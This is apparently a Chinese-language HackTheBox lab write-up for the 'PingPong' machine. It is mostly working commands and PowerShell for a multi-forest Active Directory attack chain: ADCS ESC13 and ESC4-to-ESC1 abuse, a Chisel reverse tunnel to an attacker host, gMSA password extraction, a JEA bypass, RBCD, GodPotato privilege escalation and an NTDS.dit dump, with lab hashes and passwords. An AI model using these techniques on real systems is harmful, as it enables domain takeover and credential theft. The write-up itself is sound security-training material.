PingPong - HackTheBox Seasonal S10 攻略

發布日期:2026/5/2

摘要: 這是一台 Insane 難度的靶機,涉及一個具有雙向樹系信任的多網域 Active Directory 環境。攻擊鏈共 12 個步驟,多次跨越網域邊界,利用了 ADCS 設定錯誤、JEA 繞過技術、gMSA 濫用、RBCD 委派、MSSQL 提權以及憑證範本篡改等技術。


PingPong - HackTheBox Seasonal S7 攻略

概覽

欄位 詳情
靶機 PingPong
作業系統 Windows Server 2022
難度 Insane(瘋狂)
賽季 S10
IP 10.129.33.38(重啟後會變動)
網域 PING.HTB(DC1, dc1.ping.htb)/ PONG.HTB(DC2, dc2.pong.htb @ 內網 192.168.2.2)
信任關係 PING.HTB 與 PONG.HTB 之間的雙向樹系信任
加固措施 全域禁用 NTLM、禁用 RC4、僅允許 AES Kerberos
初始憑證 c.roberts / AssumedBreach123(初級 IT 技術員,IT 群組成員)

這是一台 Insane 難度的靶機,涉及一個具有雙向樹系信任的多網域 Active Directory 環境。攻擊鏈共 12 個步驟,多次跨越網域邊界,利用了 ADCS 設定錯誤、JEA 繞過技術、gMSA 濫用、RBCD 委派、MSSQL 提權以及憑證範本篡改等技術。


步驟 1:偵察

Nmap 掃描

初始埠掃描以識別 DC1 上可用的服務。

nmap -sCV -T4 -p- -oA nmap/pingpong 10.129.33.38

發現的關鍵開放埠:

埠號 服務
53 DNS
88 Kerberos
135 MSRPC
139 NetBIOS
389 LDAP
445 SMB
464 Kerberos kpasswd
593 RPC over HTTP
636 LDAPS
2179 vmrdp
3268 Global Catalog
3269 Global Catalog SSL
5985 WinRM
9389 AD Web Services

這些埠的組合明確表明這是一台網域控制器。

透過 LDAP 進行網域列舉

使用已知的入侵憑證進行網域列舉。

ldapsearch -H ldap://10.129.33.38 -D "c.roberts@ping.htb" -w "AssumedBreach123" -b "DC=ping,DC=htb" "(objectClass=user)" sAMAccountName memberOf description

關鍵發現:

  • 使用者:c.roberts(IT 群組成員)、各種服務帳戶
  • 重要群組:IT、TempWinRMAccess、CA Managers
  • 信任關係:與 PONG.HTB 網域的雙向樹系信任
  • TempWinRMAccess 群組:沒有直接成員,但透過 ADCS ESC13 OID 連結——這是突破口

TempWinRMAccess 群組沒有直接成員但作為 WinRM 存取群組存在,這強烈暗示了基於憑證的成員身份機制(ESC13)。


步驟 2:ESC13 - 憑證轉換為群組成員身份

ESC13 是一種較新的 ADCS 攻擊方式。當憑證範本的簽發政策 OID 連結到 Active Directory 群組時,使用該範本簽發的憑證進行認證會將群組 SID 加入使用者的 PAC,從而有效地授予群組成員身份。

使用 Certipy 列舉 ADCS

certipy find -u c.roberts@ping.htb -p AssumedBreach123 -dc-ip 10.129.33.38

發現了 TemporaryWinRM 範本存在 ESC13 漏洞:

  • 可註冊者:Domain Users(c.roberts 符合條件)
  • 簽發政策 OID:連結到 TempWinRMAccess 群組
  • 效果:從此範本簽發的任何憑證都會在使用者的 PAC 中授予 TempWinRMAccess 成員身份

從 TemporaryWinRM 範本請求憑證

certipy req -u c.roberts@ping.htb -p AssumedBreach123 -ca ping-DC1-CA -template TemporaryWinRM -dc-ip 10.129.33.38

輸出:c.roberts.pfx — 包含憑證和私鑰的 PKCS#12 檔案。

使用憑證進行認證(PKINIT)

certipy auth -pfx c.roberts.pfx -dc-ip 10.129.33.38 -domain ping.htb

此操作執行 PKINIT 認證。KDC 簽發的 TGT 在 PAC 中包含了 TempWinRMAccess 群組 SID,從而授予對 DC1 的 WinRM 存取權限。

輸出:c.roberts.ccache — 包含 TGT 的 Kerberos 憑證快取。


步驟 3:DC1 上的 WinRM Shell

macOS GSSAPI 限制

在 macOS 上,標準 WinRM 工具(evil-winrm、pywinrm)使用 Kerberos 認證時會遇到 GSSAPI IOV(wrap_iov)問題。解決方案是使用 pypsrp,它能在 macOS 上正確處理 Kerberos 認證。

透過 pypsrp 連線

from pypsrp.client import Client

# 設定 KRB5CCNAME 指向 certipy 產生的 ccache
import os
os.environ['KRB5CCNAME'] = 'c.roberts.ccache'

client = Client('dc1.ping.htb', auth='kerberos', ssl=False)
output, streams, had_errors = client.execute_ps("whoami /groups")
print(output)

輸出確認了 ping\c.roberts 具有 TempWinRMAccess 群組成員身份,驗證 ESC13 攻擊成功。


步驟 4:Chisel 通道連接 DC2

DC2(dc2.pong.htb,192.168.2.2)位於僅可從 DC1 存取的內部網路。需要建立通道才能與 PONG.HTB 服務互動。

設定 Chisel 伺服器(攻擊機器)

./chisel_mac server --reverse --port 8888

上傳並在 DC1 上執行 Chisel 客戶端

透過 pypsrp 檔案傳輸將 chisel.exe 上傳至 DC1:

client.copy("chisel.exe", "C:\\Users\\c.roberts\\chisel.exe")

在 DC1 上啟動 chisel 客戶端以建立反向 SOCKS 代理或直接埠轉發:

C:\Users\c.roberts\chisel.exe client <attacker_ip>:8888 R:1080:socks

DC2(192.168.2.2)現在可以透過 localhost:1080 上的 SOCKS 代理存取。

注意:macOS 上的 chisel 反向 SOCKS/埠轉發可靠性不佳。更可靠的解決方案是使用 DC1 上的 pypsrp 工作階段作為 KDC 代理,透過 DC1 的原生網路連線執行到達 DC2 的命令。


步驟 5:gMSA Managers 群組接管(跨網域)

這是一個跨網域的提權鏈。PING.HTB 的 IT 群組擁有 PONG.HTB 的 gMSA Managers 群組,這意味著具有 WriteDacl 權限。

步驟 5a:為 c.roberts 在 gMSA Managers 上新增 GenericAll ACE

在 DC1 上以 c.roberts 身份,使用 .NET LDAP 類別連接到 DC2 並修改 gMSA Managers 的 ACL:

# 連接到 DC2 LDAP
$ldap = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldap.SessionOptions.Sealing = $true
$ldap.SessionOptions.Signing = $true
$ldap.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldap.Bind()

# 使用 SD_FLAGS 控制項讀取當前 nTSecurityDescriptor(值 4 = 僅 DACL)
$sdFlagsControl = New-Object System.DirectoryServices.Protocols.DirectoryControl("1.2.840.113556.1.4.801", [byte[]](0x30,0x03,0x02,0x01,0x04), $true, $true)

$searchReq = New-Object System.DirectoryServices.Protocols.SearchRequest(
    "CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
    "(objectClass=*)",
    [System.DirectoryServices.Protocols.SearchScope]::Base,
    "nTSecurityDescriptor"
)
$searchReq.Controls.Add($sdFlagsControl)
$result = $ldap.SendRequest($searchReq)

# 解析現有 SD,為 c.roberts SID 新增 GenericAll ACE
# S-1-5-21-750635624-2058721901-1932338391-2617
$sd = New-Object System.DirectoryServices.ActiveDirectorySecurity
$sdBytes = $result.Entries[0].Attributes["ntsecuritydescriptor"].GetValues([byte[]])[0]
$sd.SetSecurityDescriptorBinaryForm($sdBytes)

# 建立 GenericAll ACE
$robertsSid = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-750635624-2058721901-1932338391-2617")
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $robertsSid,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow
)
$sd.AddAccessRule($ace)

# 寫回修改後的 SD
$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
    "CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
    [System.DirectoryServices.Protocols.DirectoryAttributeModificationCollection]@(
        New-Object System.DirectoryServices.Protocols.DirectoryAttributeModification -Property @{
            Name = "nTSecurityDescriptor"
            Operation = [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace
        }
    )
)
$modReq.Attributes[0].Add($sd.GetSecurityDescriptorBinaryForm())
$modReq.Controls.Add($sdFlagsControl)
$ldap.SendRequest($modReq)

步驟 5b:變更群組範圍(Global → Universal → DomainLocal)

外部安全主體(跨網域使用者)只能成為 DomainLocal 群組的成員。gMSA Managers 群組必須從 Global 轉換為 DomainLocal 範圍。Active Directory 不允許直接從 Global 轉換為 DomainLocal,因此路徑是 Global → Universal → DomainLocal。

# Global (-2147483646) → Universal (-2147483640)
$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
    "CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
    [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace,
    "groupType",
    "-2147483640"
)
$ldap.SendRequest($modReq)

# Universal (-2147483640) → DomainLocal (-2147483644)
$modReq2 = New-Object System.DirectoryServices.Protocols.ModifyRequest(
    "CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
    [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace,
    "groupType",
    "-2147483644"
)
$ldap.SendRequest($modReq2)

步驟 5c:新增 c.roberts 為成員

使用 SID 格式將 c.roberts(PING 網域使用者)新增到 gMSA Managers 群組(PONG 網域),這會自動在 PONG 中建立 ForeignSecurityPrincipal 物件。

# 使用 ADSI DirectoryEntry 修改成員
$entry = New-Object System.DirectoryServices.DirectoryEntry(
    "LDAP://dc2.pong.htb/CN=gMSA Managers,CN=Users,DC=pong,DC=htb"
)

# 使用 <SID=hex> 格式進行跨網域成員身份設定
# SID S-1-5-21-750635624-2058721901-1932338391-2617 的十六進位表示
$sidHex = "<SID=0105000000000005150000002855C52C8DF0D47A672A5C73390A0000>"
$entry.Properties["member"].Add($sidHex)
$entry.CommitChanges()

這會在 PONG 網域中建立 ForeignSecurityPrincipal 物件並將其新增到 gMSA Managers。


步驟 6:gMSA 密碼提取

取得 gMSA Managers 成員身份後,c.roberts 現在可以讀取 Pong_gMSA$ 的受管理密碼。

擷取 msDS-ManagedPassword

需要建立新的 LDAP 連線,以便新的 Kerberos 票據包含 gMSA Managers 群組成員身份。

# 建立新的 LDAP 連線到 DC2(票據將包含 gMSA Managers)
$ldap2 = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldap2.SessionOptions.Sealing = $true
$ldap2.SessionOptions.Signing = $true
$ldap2.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldap2.Bind()

# 查詢 gMSA 帳戶的受管理密碼
$searchReq = New-Object System.DirectoryServices.Protocols.SearchRequest(
    "DC=pong,DC=htb",
    "(sAMAccountName=Pong_gMSA$)",
    [System.DirectoryServices.Protocols.SearchScope]::Subtree,
    "msDS-ManagedPassword"
)
$result = $ldap2.SendRequest($searchReq)
$blob = $result.Entries[0].Attributes["msds-managedpassword"].GetValues([byte[]])[0]

解析 MSDS-MANAGEDPASSWORD_BLOB

Blob 結構中密碼位於偏移量 16,長度 256 位元組(UTF-16LE 編碼)。

# 從 blob 中擷取密碼位元組
$passwordOffset = 16
$passwordLength = 256
$passwordBytes = $blob[$passwordOffset..($passwordOffset + $passwordLength - 1)]

# 計算 NT 雜湊值(UTF-16LE 密碼的 MD4)
$md4 = [System.Security.Cryptography.MD4]::Create()  # 或手動 MD4 實作
$ntHash = $md4.ComputeHash($passwordBytes)
# NT Hash: 4b85a2a049588810c1267e4018b07a07

計算 AES256 金鑰

AES256 金鑰使用 Kerberos string_to_key 函式搭配適當的 salt 衍生。

# 使用 Python 進行金鑰衍生
from impacket.krb5.crypto import string_to_key, Enctype

salt = "PONG.HTBhostpong_gmsa.pong.htb"
aes256_key = string_to_key(Enctype.AES256, password_bytes, salt)
# AES256 金鑰: 9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a

取得的憑證:

  • 帳戶:Pong_gMSA$
  • NT Hash4b85a2a049588810c1267e4018b07a07
  • AES256 金鑰9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a

步驟 7:JEA 工作階段 - PSReadLine 歷史紀錄 - c.carlssen 憑證

發現 JEA 端點

Pong_gMSA$ 服務帳戶可以存取一個 JEA(Just Enough Administration)端點,ConfigurationName 為 "restricted"(來自 restricted_e26939b6-...-dfb45427c765.pssc)。

透過 Invoke-Command 連接 JEA

直接以 Pong_gMSA$ 透過 pypsrp 連接有跨網域 Kerberos 問題。解決方案是從 DC1 使用 PSCredential 物件執行 Invoke-Command。

# 建立 Pong_gMSA$ 的 PSCredential
$secPwd = ConvertTo-SecureString -String "<gmsa_password_or_use_nt_hash_method>" -AsPlainText -Force
$gmsaCred = New-Object System.Management.Automation.PSCredential("PONG\Pong_gMSA$", $secPwd)

# 連接到 JEA restricted 端點
Invoke-Command -ComputerName dc1.ping.htb -Credential $gmsaCred -ConfigurationName restricted -ScriptBlock {
    # 列舉可用命令
    Get-Command
}

JEA 端點以 RestrictedRemoteServer 模式搭配 Constrained Language Mode(CLM,受限語言模式)運行。僅有 8 個命令可用,FileSystem 提供者不可用 —— Get-ChildItemGet-Content 等均無法使用。

CLM 繞過:變數語法讀取檔案

關鍵發現:PowerShell 的 ${C:\path\to\file} 變數語法即使在沒有 FileSystem 提供者且 Constrained Language Mode 啟用的情況下也能讀取檔案內容。這是因為變數表示法由語言解析器在提供者限制生效之前就已處理。

Invoke-Command -ComputerName dc1.ping.htb -Credential $gmsaCred -ConfigurationName restricted -ScriptBlock {
    ${C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt}
}

在 PSReadLine 歷史紀錄中找到的憑證

歷史紀錄檔案包含:

$c = New-Object System.Management.Automation.PSCredential("pong\c.carlssen", $(ConvertTo-SecureString -AsPlainText -Force "A()DUJ!@414"))

取得的憑證c.carlssen / A()DUJ!@414


步驟 8:使用者旗標

以 c.carlssen 身份存取 DC2

$secPwd = ConvertTo-SecureString "A()DUJ!@414" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("pong\c.carlssen", $secPwd)

Invoke-Command -ComputerName dc2.pong.htb -Credential $cred -ScriptBlock {
    type C:\Users\C.Carlssen\Desktop\user.txt
}

使用者旗標:536621469e40e4d783c1459415d82c52


步驟 9:RBCD 取得 MSSQL 的 C.Adam(sysadmin)存取權

攻擊路徑分析

  • c.carlssen 在 IT Service Admins 群組中,該群組對 svc_sql(MSSQL 服務帳戶)有 GenericWrite 權限
  • svc_sql 有 SPN:mssqlsvc/dc2.pong.htb
  • C.Adam 在 Database Admins 群組中,是 MSSQL 實例的 sysadmin
  • MachineAccountQuota = 0 —— 無法建立新的電腦帳戶
  • 解決方案:使用 Pong_gMSA$(它本身就是類似電腦的帳戶)進行 RBCD

步驟 9a:在 svc_sql 上設定 RBCD

允許 Pong_gMSA$ 透過資源型受限委派(RBCD)委派至 svc_sql:

$gmsaSid = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-<PONG-DOMAIN-SID>-<GMSA-RID>")
$sd = New-Object Security.AccessControl.RawSecurityDescriptor("O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($gmsaSid.Value))")
$sdBytes = New-Object byte[] $sd.BinaryLength
$sd.GetBinaryForm($sdBytes, 0)

Set-ADUser svc_sql -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $sdBytes}

步驟 9b:為 Pong_gMSA$ 新增 SPN

RBCD 要求委派帳戶必須有 SPN 才能使 S4U2Proxy 正常運作。Pong_gMSA$ 預設沒有 SPN,但它有 NT AUTHORITY\SELF 的 WriteProperty 權限可以修改自己的 SPN 屬性。

# 使用 Pong_gMSA$ 自己的 LDAP 連線為自己新增 SPN
$ldapSelf = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldapSelf.SessionOptions.Sealing = $true
$ldapSelf.SessionOptions.Signing = $true
$ldapSelf.Credential = New-Object Net.NetworkCredential("Pong_gMSA$", $secPwd, "PONG")
$ldapSelf.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldapSelf.Bind()

$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
    "CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb",
    [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Add,
    "servicePrincipalName",
    "cifs/gmsa.pong.htb"
)
$ldapSelf.SendRequest($modReq)

步驟 9c:為 svc_sql 新增含埠號的 SPN

MSSQL 的 SqlClient 要求 SPN 包含埠號(MSSQLSvc/dc2.pong.htb:1433),但原本只有 mssqlsvc/dc2.pong.htb

Set-ADUser svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/dc2.pong.htb:1433"}

步驟 9d:使用 Rubeus 執行 S4U

Impacket 的 getST.py 在僅 AES 環境中有 etype 處理問題。Rubeus 能正確處理這種情況。

將 Rubeus.exe 上傳到 DC1 並執行 S4U:

Rubeus.exe s4u /user:Pong_gMSA$ /aes256:9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a /impersonateuser:C.Adam /msdsspn:"MSSQLSvc/dc2.pong.htb:1433" /domain:pong.htb /dc:192.168.2.2 /ptt

此操作執行 S4U2Self(取得 C.Adam 到 Pong_gMSA$ 的服務票據),接著執行 S4U2Proxy(將其交換為 C.Adam 到 MSSQLSvc/dc2.pong.htb:1433 的服務票據),並將結果票據注入當前工作階段。

步驟 9e:使用票據連接 MSSQL

WinRM 工作階段無法使用透過 SSPI 注入的票據(票據快取是按登入工作階段隔離的)。解決方案是使用 Rubeus 的 createnetonly 啟動一個具有自己登入工作階段的新程序,然後在同一程序中執行 S4U + MSSQL 連線。

編寫一個在同一程序中完成所有操作的組合 PowerShell 腳本:

# combined.ps1 - 在 createnetonly 登入工作階段中執行
# S4U 已完成且票據已由 Rubeus 在此腳本執行前注入

$conn = New-Object System.Data.SqlClient.SqlConnection
$conn.ConnectionString = "Server=dc2.pong.htb,1433;Integrated Security=True;TrustServerCertificate=True"
$conn.Open()

$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT SYSTEM_USER AS [user], IS_SRVROLEMEMBER('sysadmin') AS [sysadmin]"
$reader = $cmd.ExecuteReader()
$reader.Read()
Write-Output "SQL: user=$($reader['user']) sysadmin=$($reader['sysadmin'])"
$reader.Close()
$conn.Close()

透過 createnetonly 啟動:

Rubeus.exe createnetonly /program:"powershell -ep bypass -File C:\Users\c.roberts\combined.ps1" /domain:PONG /username:C.Adam /password:fake /show

結果:SQL: user=pong\C.Adam sysadmin=1 —— 確認在 MSSQL 上取得 sysadmin 存取權。


步驟 10:MSSQL 透過 GodPotato 提權至 SYSTEM

啟用 xp_cmdshell

以 MSSQL 的 sysadmin 身份啟用命令執行:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- 輸出: pong\svc_sql

svc_sql 帳戶具有 SeImpersonatePrivilege,使其容易受到 potato 攻擊。

透過 OLE Automation 寫入 GodPotato.exe

由於透過 xp_cmdshell 的檔案存取可能受限,使用 MSSQL 的 OLE Automation 寫入二進位檔案:

EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

-- 透過 ADODB.Stream 寫入 GodPotato.exe 二進位檔
DECLARE @obj INT;
EXEC sp_OACreate 'ADODB.Stream', @obj OUTPUT;
EXEC sp_OASetProperty @obj, 'Type', 1;  -- adTypeBinary
EXEC sp_OAMethod @obj, 'Open';
EXEC sp_OAMethod @obj, 'Write', NULL, 0x<GodPotato的十六進位位元組>;
EXEC sp_OAMethod @obj, 'SaveToFile', NULL, 'C:\Windows\Temp\GodPotato.exe', 2;
EXEC sp_OAMethod @obj, 'Close';
EXEC sp_OADestroy @obj;

提權至 SYSTEM

EXEC xp_cmdshell 'C:\Windows\Temp\GodPotato.exe -cmd "whoami"';
-- 輸出: nt authority\system

將 svc_sql 新增至 Domain Admins

EXEC xp_cmdshell 'C:\Windows\Temp\GodPotato.exe -cmd "net group \"Domain Admins\" svc_sql /add /domain"';

步驟 11:DCSync PONG 網域

設定 svc_sql 密碼並存取 DC2

# 為 svc_sql 設定已知密碼
$newPwd = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
Set-ADAccountPassword -Identity svc_sql -NewPassword $newPwd -Reset

以 svc_sql(現為 Domain Admin)透過 WinRM 連接 DC2

$svcCred = New-Object PSCredential("pong\svc_sql", $newPwd)
Invoke-Command -ComputerName dc2.pong.htb -Credential $svcCred -ScriptBlock {
    ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\ifm" quit quit
}

下載 NTDS.dit 和登錄檔蜂巢

透過 pypsrp 下載 IFM 輸出:

client.fetch("C:\\Windows\\Temp\\ifm\\Active Directory\\ntds.dit", "ntds.dit")
client.fetch("C:\\Windows\\Temp\\ifm\\registry\\SYSTEM", "SYSTEM")
client.fetch("C:\\Windows\\Temp\\ifm\\registry\\SECURITY", "SECURITY")

使用 secretsdump 提取雜湊值

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

提取的關鍵雜湊值:

帳戶 NT Hash AES256 金鑰
Administrator@PONG 0b8ebfb6e9972babf9c01311748261a8
R.Martinelli(RID 1124) d60fc26a0569b953a5cebd1392232630 61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98
svc_sql(LSA 密鑰) 密碼:This!IsAServi@ceA1231ccount

R.Martinelli 是 PING.HTB 中 CA Managers 的成員 —— 這是返回 PING 網域取得 root 旗標的路徑。


步驟 12:ESC4 轉 ESC1 - Administrator@PING - Root 旗標

攻擊路徑

R.Martinelli(PONG 網域)在 CA Managers 群組(PING 網域)中,該群組對 SmartcardAuthentication 憑證範本有 WriteDacl 權限。這使得 ESC4 攻擊(修改範本使其容易受到 ESC1 攻擊)成為可能。

設定 R.Martinelli 的密碼

使用 svc_sql 在 PONG 上的 Domain Admin 權限:

$newPwd = ConvertTo-SecureString "NewP@ssw0rd!" -AsPlainText -Force
Set-ADAccountPassword -Identity R.Martinelli -NewPassword $newPwd -Reset

步驟 12a:ESC4 - 修改 SmartcardAuthentication 範本

以 R.Martinelli(CA Managers 成員)身份連接到 DC1 的 LDAP,修改 SmartcardAuthentication 範本使其容易受到 ESC1 攻擊:

# 透過 LDAP 修改範本屬性
# 目標: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb

# 設定以下屬性:
# msPKI-Certificate-Name-Flag = 1 (ENROLLEE_SUPPLIES_SUBJECT - 允許指定任意 SAN)
# pKIExtendedKeyUsage = 1.3.6.1.5.5.7.3.2 (Client Authentication 用戶端認證)
# msPKI-RA-Signature = 0 (不需要管理員核准)
# msPKI-Enrollment-Flag = 0 (無額外註冊要求)

同時為 Authenticated Users 新增 Enrollment ACE,使 c.roberts 能夠註冊:

# 新增 ObjectAce,GUID 為 0e10c968-78fb-11d2-90d4-00c04f79dc55(Certificate-Enrollment)
# 對象為 Authenticated Users(S-1-5-11),加到範本的 nTSecurityDescriptor 中

步驟 12b:ESC1 - 以 Administrator 身份請求憑證

範本現在已容易受到 ESC1 攻擊(ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU),請求一個指定 Administrator 為 UPN 的憑證:

certipy req -u c.roberts@ping.htb -k -no-pass \
    -ca ping-DC1-CA \
    -template SmartcardAuthentication \
    -upn Administrator@ping.htb \
    -sid S-1-5-21-750635624-2058721901-1932338391-500 \
    -target dc1.ping.htb \
    -target-ip 10.129.33.38 \
    -dc-ip 10.129.33.38

輸出:admin_sid.pfx

-sid 參數在憑證中嵌入 Administrator 的 SID,確保 KDC 將其對應到正確的帳戶,即使 UPN 對應有歧義。

步驟 12c:以 Administrator 身份進行 PKINIT 認證

certipy auth -pfx admin_sid.pfx -dc-ip 10.129.33.38 -domain ping.htb

輸出:

步驟 12d:Root 旗標

import os
os.environ['KRB5CCNAME'] = 'administrator.ccache'

from pypsrp.client import Client
client = Client('dc1.ping.htb', auth='kerberos', ssl=False)
output, streams, had_errors = client.execute_ps("type C:\\Users\\Administrator\\Desktop\\root.txt")
print(output)

Root 旗標:0553d3a8d1d25576efc44d7f854468c6


關鍵技術與經驗教訓

1. ESC13:憑證簽發政策 OID 對應群組成員身份

憑證範本的簽發政策 OID 可以連結到 AD 群組。使用此類憑證進行認證會將群組 SID 加入使用者的 PAC,在不成為直接成員的情況下授予有效的群組成員身份。

2. JEA 受限語言模式繞過

PowerShell 的 ${C:\path\to\file} 變數語法即使在 FileSystem 提供者不可用且 Constrained Language Mode 啟用時也能讀取檔案內容。這是因為變數表示法在提供者限制生效之前就由語言解析器處理。

3. 跨網域 gMSA 濫用

攻擊鏈:Owner 關係 → WriteDacl → GenericAll → 變更群組範圍(Global → Universal → DomainLocal) → 新增 Foreign Security Principal 為成員 → 讀取 msDS-ManagedPassword。群組範圍轉換是必要的,因為只有 DomainLocal 群組接受跨網域成員。

4. 僅 AES 環境中的 RBCD

Impacket 的 getST.py 在僅 AES(無 RC4)環境中有 etype 處理問題。Rubeus 能正確處理這種情況。此外,createnetonly 技術是在 WinRM 工作階段中使用 S4U 票據所必需的,因為透過 SSPI 的票據注入是按登入工作階段隔離的。

5. RBCD 的 SPN 管理

委派帳戶(Pong_gMSA$)至少需要一個 SPN 才能使 S4U2Proxy 運作。帳戶的 NT AUTHORITY\SELF 權限允許它為自己新增 SPN。目標服務(svc_sql)也需要含埠號的 SPN(MSSQLSvc/dc2.pong.htb:1433)以相容 SqlClient。

6. 透過 OLE Automation 使用 GodPotato

當 xp_cmdshell 的檔案存取受限時,MSSQL 的 sp_OACreate 搭配 ADODB.Stream 提供了將二進位檔案寫入磁碟的替代方法。

7. ESC4 轉 ESC1 鏈

對憑證範本的 WriteDacl 權限允許修改其旗標以啟用 ENROLLEE_SUPPLIES_SUBJECT(指定任意 SAN)並設定 EKU 為 Client Authentication。結合新增 enrollment ACE,這可以將任何範本轉換為 ESC1 漏洞。

8. macOS 特定挑戰

  • MTU 1200:與 HackTheBox VPN 穩定連線所需
  • GSSAPI IOV:macOS 的 GSS 框架缺少 wrap_iov 支援,導致標準 WinRM Kerberos 認證失敗 —— pypsrp 是解決方案
  • Chisel 可靠性:macOS 上反向通道可靠性不佳;使用 pypsrp 作為 KDC 代理更可靠
  • 時鐘同步:Kerberos 要求時間同步在 5 分鐘以內 —— macOS 的 NTP 行為需要注意
目錄